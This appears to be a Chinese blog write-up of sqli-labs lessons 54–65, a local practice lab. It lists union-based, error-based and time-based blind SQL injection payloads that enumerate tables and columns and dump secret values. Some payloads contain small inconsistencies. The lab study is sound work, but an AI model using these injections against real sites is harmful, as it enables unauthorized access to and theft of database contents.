LESS-54-55-56-57-58-59-60-61-62-63-64-65

最新推荐文章于 2024-09-19 20:02:01 发布

原创最新推荐文章于 2024-09-19 20:02:01 发布 · 805 阅读

0 ·

CC 4.0 BY-SA版权

sql注入专栏收录该内容

15 篇文章

订阅专栏

本文详细介绍了一系列SQL注入攻击的实战案例，包括字符型注入、联合注入、报错注入及盲注等，展示了如何利用不同的闭合方式和SQL语句来获取数据库信息。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

LESS-54
此系列主要是一个进阶的学习，将前面学到的知识进行更深次的运用。这一关我们主要考察
的依旧是字符型注入，但是只能尝试十次。所以需要在尝试的时候进行思考。如何能更少的
减少次数。这里的表名和密码等是每十次尝试后就强制进行更换。
因为已经知道了数据库名字叫做 challenges，所以我们需要知道表名在这里插入图片描述

输入：
?id=-1%27union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27–+
爆出了表名：dcifd0ca0t；
在这里插入图片描述
输入：http://127.0.0.1/sqlilabs/Less-54/
?id=-1%27union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27dcifd0ca0t%27–+
我们得到了所有的列，可以尝试将所有的数据进行查看，此处知道了密码在 secret_O8GE 列中，所以我们直接查看该列的内容

输入：http://127.0.0.1/sqlilabs/Less-54/?id=-1’union select 1,2,group_concat(secret_P0F0) from challenges.dcifd0ca0t--+ 在这里插入图片描述
LESS-55
本题与上一题的不同为闭合方式不同。输入：http://127.0.0.1/sqlilabs/Less-55/?id=-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘challenges’–+
输入：http://127.0.0.1/sqlilabs/Less-55/?id=-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘5d48supt0s’–+ 在这里插入图片描述
输入：http://127.0.0.1/sqlilabs/Less-55/?id=-1)%20union%20select%201,2,group_concat(secret_R35V)%20from%20challenges.5d48supt0s–+
LESS-56
与前面2题的方式相同，只是sql不同，不做详解
LESS-57
这里的sql虽然没有闭合但是，前面已经有双引号的处理了。

输入：http://127.0.0.1/sqlilabs/Less-57/?id=-1"%20union%20select%201,2,group_concat(table_name)%20from information_schema.tables where table_schema=‘challenges’–+ 在这里插入图片描述
输入：http://127.0.0.1/sqlilabs/Less-57/?id=-1"%20union%20select%201,2,group_concat(column_name)%20from information_schema.columns where table_name=‘5d48supt0s’–+
输入：http://127.0.0.1/sqlilabs/Less-57/?id=-1"%20union%20select%201,2,group_concat(secret_R35V)%20fromchallenges.5d48supt0s–+ 在这里插入图片描述
LESS-58
执行 sql 语句后，并没有返回数据库当中的数据，所以我们这里不能使用 union 联合注入，这里使用报错注入

输入：http://127.0.0.1/sqlilabs/Less-58/?id=-1’ and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘challenges’),0x7e))–+ 在这里插入图片描述
输入：http://127.0.0.1/sqlilabs/Less-58/?id=-1’ and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘7mu71b84nt’),0x7e))–+
输入：http://127.0.0.1/sqlilabs/Less-58/?id=-1’ and extractvalue(1,concat(0x7e,(select group_concat(secret_3ZLC) from challenges.7mu71b84nt),0x7e))–+ 在这里插入图片描述
Less-59
本题就闭合方式与上一题有所不同，不做详解
LESS-60
也是比和方式有所不同。

输入：http://127.0.0.1/sqlilabs/Less-60/?id=-1") and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.columns where table_schema=‘challenges’),0x7e))–+ 在这里插入图片描述
Less-61
闭合方式有些特殊
输入：http://127.0.0.1/sqlilabs/Less-61/?id=-1’)) and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘challenges’),0x7e))–+
输入：http://127.0.0.1/sqlilabs/Less-61/?id=-1’)) and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘2wdgbim8tv’),0x7e))–+ 在这里插入图片描述
输入：http://127.0.0.1/sqlilabs/Less-61/?id=-1’)) and extractvalue(1,concat(0x7e,(select group_concat(secret_G7QO) from challenges.2wdgbim8tv),0x7e))–+
LESS-62
这里union注入和报错注入都不行
输入：http://127.0.0.1/sqlilabs/Less-62/?id=1’)and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),1,1))=79,0,sleep(10))–+ 在这里插入图片描述
正确会很快，而出现错误会等待10秒。

LESS-63
只是闭合方式有所不同在这里插入图片描述
输入：http://127.0.0.1/sqlilabs/Less-63/?id=1’and If(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=‘challenges’,1,1))=77,0,sleep(10))–+
LESS-64
只是闭合方式不同，不做详解
LESS-65
只是闭合方式不同在这里插入图片描述
输入：http://127.0.0.1/sqlilabs/Less-65/?id=1") and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%2
7),1,1))=79,0,sleep(10))–+